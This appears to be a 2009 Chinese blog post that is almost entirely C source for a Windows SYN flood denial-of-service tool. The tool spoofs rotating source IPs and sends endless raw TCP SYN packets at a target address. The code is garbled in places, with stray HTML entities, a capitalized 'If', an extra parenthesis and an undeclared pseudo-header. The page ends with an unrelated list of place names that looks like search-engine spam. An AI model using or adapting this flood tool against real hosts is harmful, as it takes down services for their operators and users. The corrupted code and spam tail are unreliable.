              //CheckSum:計(jì)算校驗(yàn)和的子函數(shù)

              USHORT checksum(USHORT *buffer, int size)
              {

                  unsigned long cksum=0;
                  while(size >1) {
                      cksum+=*buffer++;
                      size -=sizeof(USHORT);
                  }

                  if(size ) {
                      cksum += *(UCHAR*)buffer;
                  }
                  cksum = (cksum >> 16) + (cksum & 0xffff);
                  cksum += (cksum >>16);
                  return (USHORT)(~cksum);

              }


              //  SynFlood主函數(shù)
              int main()
              {
                  int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
                  int TimeOut=2000,SendSEQ=0;
                  char SendBuf[128]={0};
                  char RecvBuf[65535]={0};
                  WSADATA wsaData;
                  SOCKET SockRaw=(SOCKET)NULL;
                  struct sockaddr_in DestAddr;
                  IP_HEADER ip_header;
                  TCP_HEADER tcp_header;
                  //初始化SOCK_RAW
                  if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
                      fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
                      ExitProcess(STATUS_FAILED);
                  }
                  SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
                  if (SockRaw==INVALID_SOCKET){
                      fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
                      ExitProcess(STATUS_FAILED);
                  }
                  flag=TRUE;
                  //設(shè)置IP_HDRINCL以自己填充IP首部
                  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
                  If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");
                  __try{
                      //設(shè)置發(fā)送超時(shí)
                      ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
                      if(ErrorCode==SOCKET_ERROR){
                      fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
                      __leave;
                      }
                 
                      memset(&DestAddr,0,sizeof(DestAddr));
                      DestAddr.sin_family=AF_INET;
                      DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
                      FakeIpNet=inet_addr(FAKE_IP);
                      FakeIpHost=ntohl(FakeIpNet);
                      //填充IP首部
                      ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
                      //高四位IP版本號(hào),低四位首部長度
                      ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位總長度(字節(jié))
                      ip_header.ident=1;                                                       //16位標(biāo)識(shí)
                      ip_header.frag_and_flags=0;                                               //3位標(biāo)志位
                      ip_header.ttl=128;                                                       //8位生存時(shí)間TTL
                      ip_header.proto=IPPROTO_TCP;& nbsp;                                         //8 位協(xié)議(TCP,UDP…)
                      ip_header.checksum=0;& nbsp;                                                   //16 位IP首部校驗(yàn)和
                      ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp;                         //32 位源IP地址
                      ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址
                      //填充TCP首部
                      tcp_header.th_sport=htons(7000);& nbsp;                                     // 源端口號(hào)
                      tcp_header.th_dport=htons(8080);& nbsp;                                     // 目的端口號(hào)
                      tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp;                                 //SYN 序列號(hào)
                      tcp_header.th_ack=0;                                                 //ACK序列號(hào)置為0
                      tcp_header.th_lenres= (sizeof(TCP_HEADER)/4<<4|0);                         //TCP長度和保留位
                      tcp_header.th_flag=2;                                                    //SYN 標(biāo)志
                      tcp_header.th_win=htons(16384);                                           //窗口大小
                      tcp_header.th_urp=0;                                                 //偏移
                      tcp_header.th_sum=0;                                                 //校驗(yàn)和
                      //填充TCP偽首部(用于計(jì)算校驗(yàn)和,并不真正發(fā)送)
                      psd_header.saddr=ip_header.sourceIP;& nbsp;                                   // 源地址
                      psd_header.daddr=ip_header.destIP;& nbsp;                                     // 目的地址
                      psd_header.mbz=0;
                      psd_header.ptcl=IPPROTO_TCP;& nbsp;                                           // 協(xié)議類型
                      psd_header.tcpl=htons(sizeof(tcp_header));& nbsp;                             //TCP 首部長度
                      while(1) {
                      //每發(fā)送10,240個(gè)報(bào)文輸出一個(gè)標(biāo)示符
                          printf(".");
                          for(counter=0;counter<10240;counter++){
                          if(SendSEQ++==65536) SendSEQ=1;          & nbsp;                       // 序列號(hào)循環(huán)
                          //更改IP首部
                          ip_header.checksum=0;& nbsp;                                           //16 位IP首部校驗(yàn)和
                          ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);& nbsp;                 //32 位源IP地址
                          //更改TCP首部
                          tcp_header.th_seq=htonl(SEQ+SendSEQ);& nbsp;                         //SYN 序列號(hào)
                          tcp_header.th_sum=0;                                         //校驗(yàn)和
                          //更改TCP Pseudo Header
                          psd_header.saddr=ip_header.sourceIP;                 
                          // 計(jì)算TCP校驗(yàn)和,計(jì)算校驗(yàn)和時(shí)需要包括TCP pseudo header       
                          memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
                          memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
                          tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
                          //計(jì)算IP校驗(yàn)和
                          memcpy(SendBuf,&ip_header,sizeof(ip_header));
                          memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
                          memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
                          datasize=sizeof(ip_header)+sizeof(tcp_header);
                          ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
                          //填充發(fā)送緩沖區(qū)
                          memcpy(SendBuf,&ip_header,sizeof(ip_header));
                          //發(fā)送TCP報(bào)文
                          ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
                          if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
                          }//End of for
                      }//End of While
                  }//End of try

                  __finally {

                      if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
                      WSACleanup();
                  }
                  return 0;
              }


          MK-TIANYI

          posted on 2009-09-18 09:58 天一 閱讀(1816) 評(píng)論(0)  編輯  收藏


          只有注冊用戶登錄后才能發(fā)表評(píng)論。


          網(wǎng)站導(dǎo)航:
           
          主站蜘蛛池模板: 体育| 罗甸县| 保靖县| 顺义区| 建宁县| 丰原市| 广安市| 辽宁省| 长宁县| 静海县| 郎溪县| 洛南县| 博野县| 东乡县| 儋州市| 宁远县| 防城港市| 嘉峪关市| 英吉沙县| 织金县| 兴宁市| 鹤山市| 苍山县| 垦利县| 临西县| 西乡县| 昌邑市| 乌鲁木齐县| 镇赉县| 梁平县| 通化县| 东方市| 浑源县| 大冶市| 张家川| 嘉定区| 北流市| 兰坪| 安国市| 枣强县| 抚远县|